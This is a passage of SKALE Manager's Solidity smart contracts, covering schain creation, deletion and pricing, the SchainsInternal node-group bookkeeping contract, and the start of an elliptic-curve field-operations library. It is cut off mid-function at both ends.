getSchainPrice(schainParameters.typeOfSchain, schainParameters.lifetime) <= deposit, "Not enough money to create Schain"); _addSchain(from, deposit, schainParameters); } /** * @dev Allows the foundation to create an Schain without tokens. * * Emits an {SchainCreated} event. * * Requirements: * * - sender is granted with SCHAIN_CREATOR_ROLE * - Schain type is valid. */ function addSchainByFoundation( uint lifetime, uint8 typeOfSchain, uint16 nonce, string calldata name, address schainOwner ) external payable { require(hasRole(SCHAIN_CREATOR_ROLE, msg.sender), "Sender is not authorized to create schain"); SchainParameters memory schainParameters = SchainParameters({ lifetime: lifetime, typeOfSchain: typeOfSchain, nonce: nonce, name: name }); address _schainOwner; if (schainOwner != address(0)) { _schainOwner = schainOwner; } else { _schainOwner = msg.sender; } _addSchain(_schainOwner, 0, schainParameters); bytes32 schainId = keccak256(abi.encodePacked(name)); Wallets(payable(contractManager.getContract("Wallets"))).rechargeSchainWallet{value: msg.value}(schainId); } /** * @dev Allows SkaleManager to remove an schain from the network. * Upon removal, the space availability of each node is updated. * * Emits an {SchainDeleted} event. * * Requirements: * * - Executed by schain owner. */ function deleteSchain(address from, string calldata name) external allow("SkaleManager") { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); bytes32 schainId = keccak256(abi.encodePacked(name)); require( schainsInternal.isOwnerAddress(from, schainId), "Message sender is not the owner of the Schain" ); _deleteSchain(name, schainsInternal); } /** * @dev Allows SkaleManager to delete any Schain. * Upon removal, the space availability of each node is updated. * * Emits an {SchainDeleted} event. * * Requirements: * * - Schain exists. */ function deleteSchainByRoot(string calldata name) external allow("SkaleManager") { _deleteSchain(name, SchainsInternal(contractManager.getContract("SchainsInternal"))); } /** * @dev Allows SkaleManager contract to restart schain creation by forming a * new schain group. Executed when DKG procedure fails and becomes stuck. * * Emits a {NodeAdded} event. * * Requirements: * * - Previous DKG procedure must have failed. * - DKG failure got stuck because there were no free nodes to rotate in. * - A free node must be released in the network. */ function restartSchainCreation(string calldata name) external allow("SkaleManager") { NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation")); bytes32 schainId = keccak256(abi.encodePacked(name)); ISkaleDKG skaleDKG = ISkaleDKG(contractManager.getContract("SkaleDKG")); require(!skaleDKG.isLastDKGSuccessful(schainId), "DKG success"); SchainsInternal schainsInternal = SchainsInternal( contractManager.getContract("SchainsInternal")); require(schainsInternal.isAnyFreeNode(schainId), "No free Nodes for new group formation"); uint newNodeIndex = nodeRotation.selectNodeToGroup(schainId); skaleDKG.openChannel(schainId); emit NodeAdded(schainId, newNodeIndex); } /** * @dev addSpace - return occupied space to Node * nodeIndex - index of Node at common array of Nodes * partOfNode - divisor of given type of Schain */ function addSpace(uint nodeIndex, uint8 partOfNode) external allowTwo("Schains", "NodeRotation") { Nodes nodes = Nodes(contractManager.getContract("Nodes")); nodes.addSpaceToNode(nodeIndex, partOfNode); } /** * @dev Checks whether schain group signature is valid. */ function verifySchainSignature( uint signatureA, uint signatureB, bytes32 hash, uint counter, uint hashA, uint hashB, string calldata schainName ) external view returns (bool) { SkaleVerifier skaleVerifier = SkaleVerifier(contractManager.getContract("SkaleVerifier")); G2Operations.G2Point memory publicKey = KeyStorage( contractManager.getContract("KeyStorage") ).getCommonPublicKey( keccak256(abi.encodePacked(schainName)) ); return skaleVerifier.verify( Fp2Operations.Fp2Point({ a: signatureA, b: signatureB }), hash, counter, hashA, hashB, publicKey ); } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); } /** * @dev Returns the current price in SKL tokens for given Schain type and lifetime. */ function getSchainPrice(uint typeOfSchain, uint lifetime) public view returns (uint) { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getConstantsHolder()); SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); uint nodeDeposit = constantsHolder.NODE_DEPOSIT(); uint numberOfNodes; uint8 divisor; (divisor, numberOfNodes) = schainsInternal.getSchainType(typeOfSchain); if (divisor == 0) { return 1e18; } else { uint up = nodeDeposit.mul(numberOfNodes.mul(lifetime.mul(2))); uint down = uint( uint(constantsHolder.SMALL_DIVISOR()) .mul(uint(constantsHolder.SECONDS_TO_YEAR())) .div(divisor) ); return up.div(down); } } /** * @dev Initializes an schain in the SchainsInternal contract. * * Requirements: * * - Schain name is not already in use. */ function _initializeSchainInSchainsInternal( string memory name, address from, uint deposit, uint lifetime, SchainsInternal schainsInternal ) private { require(schainsInternal.isSchainNameAvailable(name), "Schain name is not available"); // initialize Schain schainsInternal.initializeSchain(name, from, lifetime, deposit); schainsInternal.setSchainIndex(keccak256(abi.encodePacked(name)), from); } /** * @dev Converts data from bytes to normal schain parameters of lifetime, * type, nonce, and name. */ function _fallbackSchainParametersDataConverter(bytes memory data) private pure returns (SchainParameters memory schainParameters) { (schainParameters.lifetime, schainParameters.typeOfSchain, schainParameters.nonce, schainParameters.name) = abi.decode(data, (uint, uint8, uint16, string)); } /** * @dev Allows creation of node group for Schain. * * Emits an {SchainNodes} event. */ function _createGroupForSchain( string memory schainName, bytes32 schainId, uint numberOfNodes, uint8 partOfNode, SchainsInternal schainsInternal ) private { uint[] memory nodesInGroup = schainsInternal.createGroupForSchain(schainId, numberOfNodes, partOfNode); ISkaleDKG(contractManager.getContract("SkaleDKG")).openChannel(schainId); emit SchainNodes( schainName, schainId, nodesInGroup, block.timestamp, gasleft()); } /** * @dev Creates an schain. * * Emits an {SchainCreated} event. * * Requirements: * * - Schain type must be valid. */ function _addSchain(address from, uint deposit, SchainParameters memory schainParameters) private { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); //initialize Schain _initializeSchainInSchainsInternal( schainParameters.name, from, deposit, schainParameters.lifetime, schainsInternal ); // create a group for Schain uint numberOfNodes; uint8 partOfNode; (partOfNode, numberOfNodes) = schainsInternal.getSchainType(schainParameters.typeOfSchain); _createGroupForSchain( schainParameters.name, keccak256(abi.encodePacked(schainParameters.name)), numberOfNodes, partOfNode, schainsInternal ); emit SchainCreated( schainParameters.name, from, partOfNode, schainParameters.lifetime, numberOfNodes, deposit, schainParameters.nonce, keccak256(abi.encodePacked(schainParameters.name)), block.timestamp, gasleft()); } function _deleteSchain(string calldata name, SchainsInternal schainsInternal) private { NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation")); bytes32 schainId = keccak256(abi.encodePacked(name)); require(schainsInternal.isSchainExist(schainId), "Schain does not exist"); uint[] memory nodesInGroup = schainsInternal.getNodesInGroup(schainId); uint8 partOfNode = schainsInternal.getSchainsPartOfNode(schainId); for (uint i = 0; i < nodesInGroup.length; i++) { uint schainIndex = schainsInternal.findSchainAtSchainsForNode( nodesInGroup[i], schainId ); if (schainsInternal.checkHoleForSchain(schainId, i)) { continue; } require( schainIndex < schainsInternal.getLengthOfSchainsForNode(nodesInGroup[i]), "Some Node does not contain given Schain"); schainsInternal.removeNodeFromSchain(nodesInGroup[i], schainId); schainsInternal.removeNodeFromExceptions(schainId, nodesInGroup[i]); this.addSpace(nodesInGroup[i], partOfNode); } schainsInternal.deleteGroup(schainId); address from = schainsInternal.getSchainOwner(schainId); schainsInternal.removeSchain(schainId, from); schainsInternal.removeHolesForSchain(schainId); nodeRotation.removeRotation(schainId); Wallets(payable(contractManager.getContract("Wallets"))).withdrawFundsFromSchainWallet(payable(from), schainId); emit SchainDeleted(from, name, schainId); } } // SPDX-License-Identifier: AGPL-3.0-only /* SchainsInternal.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./interfaces/ISkaleDKG.sol"; import "./utils/Random.sol"; import "./ConstantsHolder.sol"; import "./Nodes.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/utils/EnumerableSet.sol"; /** * @title SchainsInternal * @dev Contract contains all functionality logic to internally manage Schains. */ contract SchainsInternal is Permissions { using Random for Random.RandomGenerator; using EnumerableSet for EnumerableSet.UintSet; struct Schain { string name; address owner; uint indexInOwnerList; uint8 partOfNode; uint lifetime; uint startDate; uint startBlock; uint deposit; uint64 index; } struct SchainType { uint8 partOfNode; uint numberOfNodes; } // mapping which contain all schains mapping (bytes32 => Schain) public schains; mapping (bytes32 => bool) public isSchainActive; mapping (bytes32 => uint[]) public schainsGroups; mapping (bytes32 => mapping (uint => bool)) private _exceptionsForGroups; // mapping shows schains by owner's address mapping (address => bytes32[]) public schainIndexes; // mapping shows schains which Node composed in mapping (uint => bytes32[]) public schainsForNodes; mapping (uint => uint[]) public holesForNodes; mapping (bytes32 => uint[]) public holesForSchains; // array which contain all schains bytes32[] public schainsAtSystem; uint64 public numberOfSchains; // total resources that schains occupied uint public sumOfSchainsResources; mapping (bytes32 => bool) public usedSchainNames; mapping (uint => SchainType) public schainTypes; uint public numberOfSchainTypes; // schain hash => node index => index of place // index of place is a number from 1 to max number of slots on node(128) mapping (bytes32 => mapping (uint => uint)) public placeOfSchainOnNode; mapping (uint => bytes32[]) private _nodeToLockedSchains; mapping (bytes32 => uint[]) private _schainToExceptionNodes; EnumerableSet.UintSet private _keysOfSchainTypes; /** * @dev Allows Schain contract to initialize an schain. */ function initializeSchain( string calldata name, address from, uint lifetime, uint deposit) external allow("Schains") { bytes32 schainId = keccak256(abi.encodePacked(name)); schains[schainId].name = name; schains[schainId].owner = from; schains[schainId].startDate = block.timestamp; schains[schainId].startBlock = block.number; schains[schainId].lifetime = lifetime; schains[schainId].deposit = deposit; schains[schainId].index = numberOfSchains; isSchainActive[schainId] = true; numberOfSchains++; schainsAtSystem.push(schainId); usedSchainNames[schainId] = true; } /** * @dev Allows Schain contract to create a node group for an schain. */ function createGroupForSchain( bytes32 schainId, uint numberOfNodes, uint8 partOfNode ) external allow("Schains") returns (uint[] memory) { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); schains[schainId].partOfNode = partOfNode; if (partOfNode > 0) { sumOfSchainsResources = sumOfSchainsResources.add( numberOfNodes.mul(constantsHolder.TOTAL_SPACE_ON_NODE()).div(partOfNode) ); } return _generateGroup(schainId, numberOfNodes); } /** * @dev Allows Schains contract to set index in owner list. */ function setSchainIndex(bytes32 schainId, address from) external allow("Schains") { schains[schainId].indexInOwnerList = schainIndexes[from].length; schainIndexes[from].push(schainId); } /** * @dev Allows Schains contract to change the Schain lifetime through * an additional SKL token deposit. */ function changeLifetime(bytes32 schainId, uint lifetime, uint deposit) external allow("Schains") { schains[schainId].deposit = schains[schainId].deposit.add(deposit); schains[schainId].lifetime = schains[schainId].lifetime.add(lifetime); } /** * @dev Allows Schains contract to remove an schain from the network. * Generally schains are not removed from the system; instead they are * simply allowed to expire. */ function removeSchain(bytes32 schainId, address from) external allow("Schains") { isSchainActive[schainId] = false; uint length = schainIndexes[from].length; uint index = schains[schainId].indexInOwnerList; if (index != length.sub(1)) { bytes32 lastSchainId = schainIndexes[from][length.sub(1)]; schains[lastSchainId].indexInOwnerList = index; schainIndexes[from][index] = lastSchainId; } schainIndexes[from].pop(); // TODO: // optimize for (uint i = 0; i + 1 < schainsAtSystem.length; i++) { if (schainsAtSystem[i] == schainId) { schainsAtSystem[i] = schainsAtSystem[schainsAtSystem.length.sub(1)]; break; } } schainsAtSystem.pop(); delete schains[schainId]; numberOfSchains--; } /** * @dev Allows Schains and SkaleDKG contracts to remove a node from an * schain for node rotation or DKG failure. */ function removeNodeFromSchain( uint nodeIndex, bytes32 schainHash ) external allowThree("NodeRotation", "SkaleDKG", "Schains") { uint indexOfNode = _findNode(schainHash, nodeIndex); uint indexOfLastNode = schainsGroups[schainHash].length.sub(1); if (indexOfNode == indexOfLastNode) { schainsGroups[schainHash].pop(); } else { delete schainsGroups[schainHash][indexOfNode]; if (holesForSchains[schainHash].length > 0 && holesForSchains[schainHash][0] > indexOfNode) { uint hole = holesForSchains[schainHash][0]; holesForSchains[schainHash][0] = indexOfNode; holesForSchains[schainHash].push(hole); } else { holesForSchains[schainHash].push(indexOfNode); } } uint schainIndexOnNode = findSchainAtSchainsForNode(nodeIndex, schainHash); removeSchainForNode(nodeIndex, schainIndexOnNode); delete placeOfSchainOnNode[schainHash][nodeIndex]; } /** * @dev Allows Schains contract to delete a group of schains */ function deleteGroup(bytes32 schainId) external allow("Schains") { // delete channel ISkaleDKG skaleDKG = ISkaleDKG(contractManager.getContract("SkaleDKG")); delete schainsGroups[schainId]; skaleDKG.deleteChannel(schainId); } /** * @dev Allows Schain and NodeRotation contracts to set a Node like * exception for a given schain and nodeIndex. */ function setException(bytes32 schainId, uint nodeIndex) external allowTwo("Schains", "NodeRotation") { _setException(schainId, nodeIndex); } /** * @dev Allows Schains and NodeRotation contracts to add node to an schain * group. */ function setNodeInGroup(bytes32 schainId, uint nodeIndex) external allowTwo("Schains", "NodeRotation") { if (holesForSchains[schainId].length == 0) { schainsGroups[schainId].push(nodeIndex); } else { schainsGroups[schainId][holesForSchains[schainId][0]] = nodeIndex; uint min = uint(-1); uint index = 0; for (uint i = 1; i < holesForSchains[schainId].length; i++) { if (min > holesForSchains[schainId][i]) { min = holesForSchains[schainId][i]; index = i; } } if (min == uint(-1)) { delete holesForSchains[schainId]; } else { holesForSchains[schainId][0] = min; holesForSchains[schainId][index] = holesForSchains[schainId][holesForSchains[schainId].length - 1]; holesForSchains[schainId].pop(); } } } /** * @dev Allows Schains contract to remove holes for schains */ function removeHolesForSchain(bytes32 schainHash) external allow("Schains") { delete holesForSchains[schainHash]; } /** * @dev Allows Admin to add schain type */ function addSchainType(uint8 partOfNode, uint numberOfNodes) external onlyAdmin { require(_keysOfSchainTypes.add(numberOfSchainTypes + 1), "Schain type is already added"); schainTypes[numberOfSchainTypes + 1].partOfNode = partOfNode; schainTypes[numberOfSchainTypes + 1].numberOfNodes = numberOfNodes; numberOfSchainTypes++; } /** * @dev Allows Admin to remove schain type */ function removeSchainType(uint typeOfSchain) external onlyAdmin { require(_keysOfSchainTypes.remove(typeOfSchain), "Schain type is already removed"); delete schainTypes[typeOfSchain].partOfNode; delete schainTypes[typeOfSchain].numberOfNodes; } /** * @dev Allows Admin to set number of schain types */ function setNumberOfSchainTypes(uint newNumberOfSchainTypes) external onlyAdmin { numberOfSchainTypes = newNumberOfSchainTypes; } /** * @dev Allows Admin to move schain to placeOfSchainOnNode map */ function moveToPlaceOfSchainOnNode(bytes32 schainHash) external onlyAdmin { for (uint i = 0; i < schainsGroups[schainHash].length; i++) { uint nodeIndex = schainsGroups[schainHash][i]; for (uint j = 0; j < schainsForNodes[nodeIndex].length; j++) { if (schainsForNodes[nodeIndex][j] == schainHash) { placeOfSchainOnNode[schainHash][nodeIndex] = j + 1; } } } } function removeNodeFromAllExceptionSchains(uint nodeIndex) external allow("SkaleManager") { uint len = _nodeToLockedSchains[nodeIndex].length; if (len > 0) { for (uint i = len; i > 0; i--) { removeNodeFromExceptions(_nodeToLockedSchains[nodeIndex][i - 1], nodeIndex); } } } function makeSchainNodesInvisible(bytes32 schainId) external allowTwo("NodeRotation", "SkaleDKG") { Nodes nodes = Nodes(contractManager.getContract("Nodes")); for (uint i = 0; i < _schainToExceptionNodes[schainId].length; i++) { nodes.makeNodeInvisible(_schainToExceptionNodes[schainId][i]); } } function makeSchainNodesVisible(bytes32 schainId) external allowTwo("NodeRotation", "SkaleDKG") { _makeSchainNodesVisible(schainId); } /** * @dev Returns all Schains in the network. */ function getSchains() external view returns (bytes32[] memory) { return schainsAtSystem; } /** * @dev Returns all occupied resources on one node for an Schain. */ function getSchainsPartOfNode(bytes32 schainId) external view returns (uint8) { return schains[schainId].partOfNode; } /** * @dev Returns number of schains by schain owner. */ function getSchainListSize(address from) external view returns (uint) { return schainIndexes[from].length; } /** * @dev Returns hashes of schain names by schain owner. */ function getSchainIdsByAddress(address from) external view returns (bytes32[] memory) { return schainIndexes[from]; } /** * @dev Returns hashes of schain names running on a node. */ function getSchainIdsForNode(uint nodeIndex) external view returns (bytes32[] memory) { return schainsForNodes[nodeIndex]; } /** * @dev Returns the owner of an schain. */ function getSchainOwner(bytes32 schainId) external view returns (address) { return schains[schainId].owner; } /** * @dev Checks whether schain name is available. * TODO Need to delete - copy of web3.utils.soliditySha3 */ function isSchainNameAvailable(string calldata name) external view returns (bool) { bytes32 schainId = keccak256(abi.encodePacked(name)); return schains[schainId].owner == address(0) && !usedSchainNames[schainId] && keccak256(abi.encodePacked(name)) != keccak256(abi.encodePacked("Mainnet")); } /** * @dev Checks whether schain lifetime has expired. */ function isTimeExpired(bytes32 schainId) external view returns (bool) { return uint(schains[schainId].startDate).add(schains[schainId].lifetime) < block.timestamp; } /** * @dev Checks whether address is owner of schain. */ function isOwnerAddress(address from, bytes32 schainId) external view returns (bool) { return schains[schainId].owner == from; } /** * @dev Checks whether schain exists. */ function isSchainExist(bytes32 schainId) external view returns (bool) { return keccak256(abi.encodePacked(schains[schainId].name)) != keccak256(abi.encodePacked("")); } /** * @dev Returns schain name. */ function getSchainName(bytes32 schainId) external view returns (string memory) { return schains[schainId].name; } /** * @dev Returns last active schain of a node. */ function getActiveSchain(uint nodeIndex) external view returns (bytes32) { for (uint i = schainsForNodes[nodeIndex].length; i > 0; i--) { if (schainsForNodes[nodeIndex][i - 1] != bytes32(0)) { return schainsForNodes[nodeIndex][i - 1]; } } return bytes32(0); } /** * @dev Returns active schains of a node. */ function getActiveSchains(uint nodeIndex) external view returns (bytes32[] memory activeSchains) { uint activeAmount = 0; for (uint i = 0; i < schainsForNodes[nodeIndex].length; i++) { if (schainsForNodes[nodeIndex][i] != bytes32(0)) { activeAmount++; } } uint cursor = 0; activeSchains = new bytes32[](activeAmount); for (uint i = schainsForNodes[nodeIndex].length; i > 0; i--) { if (schainsForNodes[nodeIndex][i - 1] != bytes32(0)) { activeSchains[cursor++] = schainsForNodes[nodeIndex][i - 1]; } } } /** * @dev Returns number of nodes in an schain group. */ function getNumberOfNodesInGroup(bytes32 schainId) external view returns (uint) { return schainsGroups[schainId].length; } /** * @dev Returns nodes in an schain group. */ function getNodesInGroup(bytes32 schainId) external view returns (uint[] memory) { return schainsGroups[schainId]; } /** * @dev Checks whether sender is a node address from a given schain group. */ function isNodeAddressesInGroup(bytes32 schainId, address sender) external view returns (bool) { Nodes nodes = Nodes(contractManager.getContract("Nodes")); for (uint i = 0; i < schainsGroups[schainId].length; i++) { if (nodes.getNodeAddress(schainsGroups[schainId][i]) == sender) { return true; } } return false; } /** * @dev Returns node index in schain group. */ function getNodeIndexInGroup(bytes32 schainId, uint nodeId) external view returns (uint) { for (uint index = 0; index < schainsGroups[schainId].length; index++) { if (schainsGroups[schainId][index] == nodeId) { return index; } } return schainsGroups[schainId].length; } /** * @dev Checks whether there are any nodes with free resources for given * schain. */ function isAnyFreeNode(bytes32 schainId) external view returns (bool) { Nodes nodes = Nodes(contractManager.getContract("Nodes")); uint8 space = schains[schainId].partOfNode; return nodes.countNodesWithFreeSpace(space) > 0; } /** * @dev Returns whether any exceptions exist for node in a schain group. */ function checkException(bytes32 schainId, uint nodeIndex) external view returns (bool) { return _exceptionsForGroups[schainId][nodeIndex]; } function checkHoleForSchain(bytes32 schainHash, uint indexOfNode) external view returns (bool) { for (uint i = 0; i < holesForSchains[schainHash].length; i++) { if (holesForSchains[schainHash][i] == indexOfNode) { return true; } } return false; } /** * @dev Returns number of Schains on a node. */ function getLengthOfSchainsForNode(uint nodeIndex) external view returns (uint) { return schainsForNodes[nodeIndex].length; } function getSchainType(uint typeOfSchain) external view returns(uint8, uint) { require(_keysOfSchainTypes.contains(typeOfSchain), "Invalid type of schain"); return (schainTypes[typeOfSchain].partOfNode, schainTypes[typeOfSchain].numberOfNodes); } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); numberOfSchains = 0; sumOfSchainsResources = 0; numberOfSchainTypes = 0; } /** * @dev Allows Schains and NodeRotation contracts to add schain to node. */ function addSchainForNode(uint nodeIndex, bytes32 schainId) public allowTwo("Schains", "NodeRotation") { if (holesForNodes[nodeIndex].length == 0) { schainsForNodes[nodeIndex].push(schainId); placeOfSchainOnNode[schainId][nodeIndex] = schainsForNodes[nodeIndex].length; } else { uint lastHoleOfNode = holesForNodes[nodeIndex][holesForNodes[nodeIndex].length - 1]; schainsForNodes[nodeIndex][lastHoleOfNode] = schainId; placeOfSchainOnNode[schainId][nodeIndex] = lastHoleOfNode + 1; holesForNodes[nodeIndex].pop(); } } /** * @dev Allows Schains, NodeRotation, and SkaleDKG contracts to remove an * schain from a node. */ function removeSchainForNode(uint nodeIndex, uint schainIndex) public allowThree("NodeRotation", "SkaleDKG", "Schains") { uint length = schainsForNodes[nodeIndex].length; if (schainIndex == length.sub(1)) { schainsForNodes[nodeIndex].pop(); } else { delete schainsForNodes[nodeIndex][schainIndex]; if (holesForNodes[nodeIndex].length > 0 && holesForNodes[nodeIndex][0] > schainIndex) { uint hole = holesForNodes[nodeIndex][0]; holesForNodes[nodeIndex][0] = schainIndex; holesForNodes[nodeIndex].push(hole); } else { holesForNodes[nodeIndex].push(schainIndex); } } } /** * @dev Allows Schains contract to remove node from exceptions */ function removeNodeFromExceptions(bytes32 schainHash, uint nodeIndex) public allowThree("Schains", "NodeRotation", "SkaleManager") { _exceptionsForGroups[schainHash][nodeIndex] = false; uint len = _nodeToLockedSchains[nodeIndex].length; bool removed = false; if (len > 0 && _nodeToLockedSchains[nodeIndex][len - 1] == schainHash) { _nodeToLockedSchains[nodeIndex].pop(); removed = true; } else { for (uint i = len; i > 0 && !removed; i--) { if (_nodeToLockedSchains[nodeIndex][i - 1] == schainHash) { _nodeToLockedSchains[nodeIndex][i - 1] = _nodeToLockedSchains[nodeIndex][len - 1]; _nodeToLockedSchains[nodeIndex].pop(); removed = true; } } } len = _schainToExceptionNodes[schainHash].length; removed = false; if (len > 0 && _schainToExceptionNodes[schainHash][len - 1] == nodeIndex) { _schainToExceptionNodes[schainHash].pop(); removed = true; } else { for (uint i = len; i > 0 && !removed; i--) { if (_schainToExceptionNodes[schainHash][i - 1] == nodeIndex) { _schainToExceptionNodes[schainHash][i - 1] = _schainToExceptionNodes[schainHash][len - 1]; _schainToExceptionNodes[schainHash].pop(); removed = true; } } } } /** * @dev Returns index of Schain in list of schains for a given node. */ function findSchainAtSchainsForNode(uint nodeIndex, bytes32 schainId) public view returns (uint) { if (placeOfSchainOnNode[schainId][nodeIndex] == 0) return schainsForNodes[nodeIndex].length; return placeOfSchainOnNode[schainId][nodeIndex] - 1; } function _getNodeToLockedSchains() internal view returns (mapping(uint => bytes32[]) storage) { return _nodeToLockedSchains; } function _getSchainToExceptionNodes() internal view returns (mapping(bytes32 => uint[]) storage) { return _schainToExceptionNodes; } /** * @dev Generates schain group using a pseudo-random generator. */ function _generateGroup(bytes32 schainId, uint numberOfNodes) private returns (uint[] memory nodesInGroup) { Nodes nodes = Nodes(contractManager.getContract("Nodes")); uint8 space = schains[schainId].partOfNode; nodesInGroup = new uint[](numberOfNodes); require(nodes.countNodesWithFreeSpace(space) >= nodesInGroup.length, "Not enough nodes to create Schain"); Random.RandomGenerator memory randomGenerator = Random.createFromEntropy( abi.encodePacked(uint(blockhash(block.number.sub(1))), schainId) ); for (uint i = 0; i < numberOfNodes; i++) { uint node = nodes.getRandomNodeWithFreeSpace(space, randomGenerator); nodesInGroup[i] = node; _setException(schainId, node); addSchainForNode(node, schainId); nodes.makeNodeInvisible(node); require(nodes.removeSpaceFromNode(node, space), "Could not remove space from Node"); } // set generated group schainsGroups[schainId] = nodesInGroup; _makeSchainNodesVisible(schainId); } function _setException(bytes32 schainId, uint nodeIndex) private { _exceptionsForGroups[schainId][nodeIndex] = true; _nodeToLockedSchains[nodeIndex].push(schainId); _schainToExceptionNodes[schainId].push(nodeIndex); } function _makeSchainNodesVisible(bytes32 schainId) private { Nodes nodes = Nodes(contractManager.getContract("Nodes")); for (uint i = 0; i < _schainToExceptionNodes[schainId].length; i++) { nodes.makeNodeVisible(_schainToExceptionNodes[schainId][i]); } } /** * @dev Returns local index of node in schain group. */ function _findNode(bytes32 schainId, uint nodeIndex) private view returns (uint) { uint[] memory nodesInGroup = schainsGroups[schainId]; uint index; for (index = 0; index < nodesInGroup.length; index++) { if (nodesInGroup[index] == nodeIndex) { return index; } } return index; } } // SPDX-License-Identifier: AGPL-3.0-only /* FieldOperations.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "./Precompiled.sol"; library Fp2Operations { using SafeMath for uint; struct Fp2Point { uint a; uint b; } uint constant public P = 21888242871839275222246405745257275088696311157297823662689037894645226208583; function addFp2(Fp2Point memory value1, Fp2Point memory value2) internal pure returns (Fp2Point memory) { return Fp2Point({ a: addmod(value1.a, value2.a, P), b: addmod(value1.b, value2.b, P) }); } function scalarMulFp2(Fp2Point memory value, uint scalar) internal pure returns (Fp2Point memory) { return Fp2Point({ a: mulmod(scalar, value.a, P), b: mulmod(scalar, value.b, P) }); } function minusFp2(Fp2Point memory diminished, Fp2Point memory subtracted) internal pure returns (Fp2Point memory difference) { uint p = P; if (diminished.a >= subtracted.a) { difference.a = addmod(diminished.a, p - subtracted.a, p); } else { difference.a = (p - addmod(subtracted.a, p - diminished.a, p)).mod(p); } if (diminished.b >= subtracted.b) { difference.b = addmod(diminished.b, p - subtracted.b, p); } else { difference.b = (p - addmod(subtracted.b, p - diminished.b, p)).mod(p); } } function mulFp2( Fp2Point memory value1, Fp2Point memory value2 ) internal pure returns (Fp2Point memory result) { uint p = P; Fp2Point memory point = Fp2Point({ a: mulmod(value1.a, value2.a, p), b: mulmod(value1.b, value2.b, p)}); result.a = addmod( point.a, mulmod(p - 1, point.b, p), p); result.b = addmod( mulmod( addmod(value1.a, value1.b, p), addmod(value2.a, value2.b, p), p), p - addmod(point.a, point.b, p), p); } function squaredFp2(Fp2Point memory value) internal pure returns (Fp2Point memory) { uint p = P; uint ab = mulmod(value.a, value.b, p); uint mult = mulmod(addmod(value.a, value.b, p), addmod(value.a, mulmod(p - 1, value.b, p), p), p); return Fp2Point({ a: mult, b: addmod(ab, ab, p) }); } function inverseFp2(Fp2Point memory value) internal view returns (Fp2Point memory result) { uint p = P; uint t0 = mulmod(value.a, value.a, p); uint t1 = mulmod(value.b, value.b, p); uint t2 = mulmod(p - 1, t1, p); if (t0 >= t2) { t2 = addmod(t0, p - t2, p); } else { t2 = (p - addmod(t2, p - t0, p)).mod(p); } uint t3 = Precompiled.bigModExp(t2, p - 2, p); result.a = mulmod(value.a, t3, p); result.b = (p - mulmod(value.b, t3, p)).mod(p); } function isEqual( Fp2Point memory value1, Fp2Point memory value2 ) internal pure returns (bool) { return value1.a == value2.a && value1.b == value2.b; } } library G1Operations { using SafeMath for uint; using Fp2Operations for Fp2Operations.Fp2Point; function getG1Generator() internal pure returns (Fp2Operations.Fp2Point memory) { // Current solidity version does not support Constants of non-value type // so we implemented this function return Fp2Operations.Fp2Point({ a: 1, b: 2 }); } function isG1Point(uint x, uint y) internal pure returns (bool) { uint p = Fp2Operations.P; return mulmod(y, y, p) == addmod(mulmod(mulmod(x, x, p), x, p), 3, p); } function isG1(Fp2Operations.Fp2Point memory point) internal pure returns (bool) { return isG1Point(point.a, point.b); } function checkRange(Fp2Operations.Fp2Point memory point) internal pure returns (bool) { return point.a < Fp2Operations.P && point.b < Fp2Operations.P; } function negate(uint y) internal pure returns (uint) { return Fp2Operations.P.sub(y).mod(Fp2Operations.P); } } library G2Operations { using SafeMath for uint; using Fp2Operations for Fp2Operations.Fp2Point; struct G2Point { Fp2Operations.Fp2Point x; Fp2Operations.Fp2Point y; } function getTWISTB() internal pure returns (Fp2Operations.Fp2Point memory) { // Current solidity version does not support Constants of non-value type // so we implemented this function return Fp2Operations.Fp2Point({ a: 19485874751759354771024239261021720505790618469301721065564631296452457478373, b: 266929791119991161246907387137283842545076965332900288569378510910307636690 }); } function getG2Generator() internal pure returns (G2Point memory) { // Current solidity version does not support Constants of non-value type // so we implemented this function return G2Point({ x: Fp2Operations.Fp2Point({ a: 10857046999023057135944570762232829481370756359578518086990519993285655852781, b: 11559732032986387107991004021392285783925812861821192530917403151452391805634 }), y: Fp2Operations.Fp2Point({ a: 8495653923123431417604973247489272438418190587263600148770280649306958101930, b: 4082367875863433681332203403145435568316851327593401208105741076214120093531 }) }); } function getG2Zero() internal pure returns (G2Point memory) { // Current solidity version does not support Constants of non-value type // so we implemented this function return G2Point({ x: Fp2Operations.Fp2Point({ a: 0, b: 0 }), y: Fp2Operations.Fp2Point({ a: 1, b: 0 }) }); } function isG2Point(Fp2Operations.Fp2Point memory x, Fp2Operations.Fp2Point memory y) internal pure returns (bool) { if (isG2ZeroPoint(x, y)) { return true; } Fp2Operations.Fp2Point memory squaredY = y.squaredFp2(); Fp2Operations.Fp2Point memory res = squaredY.minusFp2( 